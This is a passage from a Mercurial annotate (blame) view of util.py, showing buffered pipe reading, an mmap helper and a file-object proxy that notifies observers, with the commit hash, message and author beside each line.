404 if size == 0 or not self._buffer:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
405 return b''
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
406 buf = self._buffer[0]
40029
e2697acd9381 cleanup: some Yoda conditions, this patch removes
Martin von Zweigbergk <martinvonz@google.com>
parents: 39905
diff changeset
407 if len(self._buffer) > 1:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
408 buf = b''.join(self._buffer)
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
409
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
410 data = buf[:size]
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
411 buf = buf[len(data) :]
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
412 if buf:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
413 self._buffer = [buf]
25672
050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25671
diff changeset
414 self._lenbuf = len(buf)
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
415 else:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
416 self._buffer = []
25672
050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25671
diff changeset
417 self._lenbuf = 0
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
418 return data
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
419
38713
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
420 def _fillbuffer(self, size=_chunksize):
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
421 """read data to the buffer"""
38713
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
422 data = os.read(self._input.fileno(), size)
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
423 if not data:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
424 self._eof = True
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
425 else:
25672
050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25671
diff changeset
426 self._lenbuf += len(data)
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
427 self._buffer.append(data)
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
428
36525
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
429 return data
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
430
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
431
44035
8ed8dfbeabb9 mmap: add a size argument to mmapread
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 44021
diff changeset
432 def mmapread(fp, size=None):
8ed8dfbeabb9 mmap: add a size argument to mmapread
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 44021
diff changeset
433 if size == 0:
8ed8dfbeabb9 mmap: add a size argument to mmapread
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 44021
diff changeset
434 # size of 0 to mmap.mmap() means "all data"
8ed8dfbeabb9 mmap: add a size argument to mmapread
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 44021
diff changeset
435 # rather than "zero bytes", so special case that.
8ed8dfbeabb9 mmap: add a size argument to mmapread
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 44021
diff changeset
436 return b''
8ed8dfbeabb9 mmap: add a size argument to mmapread
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 44021
diff changeset
437 elif size is None:
8ed8dfbeabb9 mmap: add a size argument to mmapread
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 44021
diff changeset
438 size = 0
34295
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
439 try:
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
440 fd = getattr(fp, 'fileno', lambda: fp)()
44035
8ed8dfbeabb9 mmap: add a size argument to mmapread
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 44021
diff changeset
441 return mmap.mmap(fd, size, access=mmap.ACCESS_READ)
34295
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
442 except ValueError:
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
443 # Empty files cannot be mmapped, but mmapread should still work. Check
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
444 # if the file is empty, and if so, return an empty buffer.
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
445 if os.fstat(fd).st_size == 0:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
446 return b''
34295
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
447 raise
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34139
diff changeset
448
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
449
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
450 class fileobjectproxy(object):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
451 """A proxy around file objects that tells a watcher when events occur.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
452
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
453 This type is intended to only be used for testing purposes. Think hard
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
454 before using it in important code.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
455 """
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
456
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
457 __slots__ = (
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
458 '_orig',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
459 '_observer',
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
460 )
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
461
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
462 def __init__(self, fh, observer):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
463 object.__setattr__(self, '_orig', fh)
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
464 object.__setattr__(self, '_observer', observer)
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
465
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
466 def __getattribute__(self, name):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
467 ours = {
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
468 '_observer',
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
469 # IOBase
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
470 'close',
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
471 # closed if a property
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
472 'fileno',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
473 'flush',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
474 'isatty',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
475 'readable',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
476 'readline',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
477 'readlines',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
478 'seek',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
479 'seekable',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
480 'tell',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
481 'truncate',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
482 'writable',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
483 'writelines',
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
484 # RawIOBase
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
485 'read',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
486 'readall',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
487 'readinto',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
488 'write',
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
489 # BufferedIOBase
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
490 # raw is a property
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
491 'detach',
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
492 # read defined above
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
493 'read1',
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
494 # readinto defined above
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
495 # write defined above
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
496 }
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
497
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
498 # We only observe some methods.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
499 if name in ours:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
500 return object.__getattribute__(self, name)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
501
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
502 return getattr(object.__getattribute__(self, '_orig'), name)
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
503
36832
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents: 36793
diff changeset
504 def __nonzero__(self):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
505 return bool(object.__getattribute__(self, '_orig'))
36832
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents: 36793
diff changeset
506
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents: 36793
diff changeset
507 __bool__ = __nonzero__
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents: 36793
diff changeset
508
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
509 def __delattr__(self, name):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
510 return delattr(object.__getattribute__(self, '_orig'), name)
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
511
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
512 def __setattr__(self, name, value):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
513 return setattr(object.__getattribute__(self, '_orig'), name, value)
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
514
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
515 def __iter__(self):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
516 return object.__getattribute__(self, '_orig').__iter__()
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
517
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
518 def _observedcall(self, name, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
519 # Call the original object.
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
520 orig = object.__getattribute__(self, '_orig')
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
521 res = getattr(orig, name)(*args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
522
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
523 # Call a method on the observer of the same name with arguments
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
524 # so it can react, log, etc.
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
525 observer = object.__getattribute__(self, '_observer')
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
526 fn = getattr(observer, name, None)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
527 if fn:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
528 fn(res, *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
529
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
530 return res
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
531
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
532 def close(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
533 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
534 'close', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
535 )
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
536
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
537 def fileno(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
538 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
539 'fileno', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
540 )
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
541
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
542 def flush(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
543 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
544 'flush', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
545 )
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
546
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
547 def isatty(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
548 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
549 'isatty', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
550 )
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
551
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
552 def readable(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
553 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
554 'readable', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
555 )
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
556
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
557 def readline(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
558 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
559 'readline', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
560 )
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
561
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
562 def readlines(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
563 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
564 'readlines', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
565 )
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
566
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
567 def seek(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
568 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
569 'seek', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
570 )
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
571
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
572 def seekable(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
573 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
574 'seekable', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
575 )
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
576
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
577 def tell(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
578 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
579 'tell', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
580 )
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
581
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
582 def truncate(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
583 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
584 'truncate', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
585 )
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
586
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
587 def writable(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
588 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
589 'writable', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
590 )
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
591
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
592 def writelines(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
593 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
594 'writelines', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
595 )
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
596
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
597 def read(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
598 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
599 'read', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
600 )
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
601
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
602 def readall(self, *args, **kwargs):
43506
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
603 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents: 43494
diff changeset
604 'readall', *args, **kwargs
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
605 )
36524
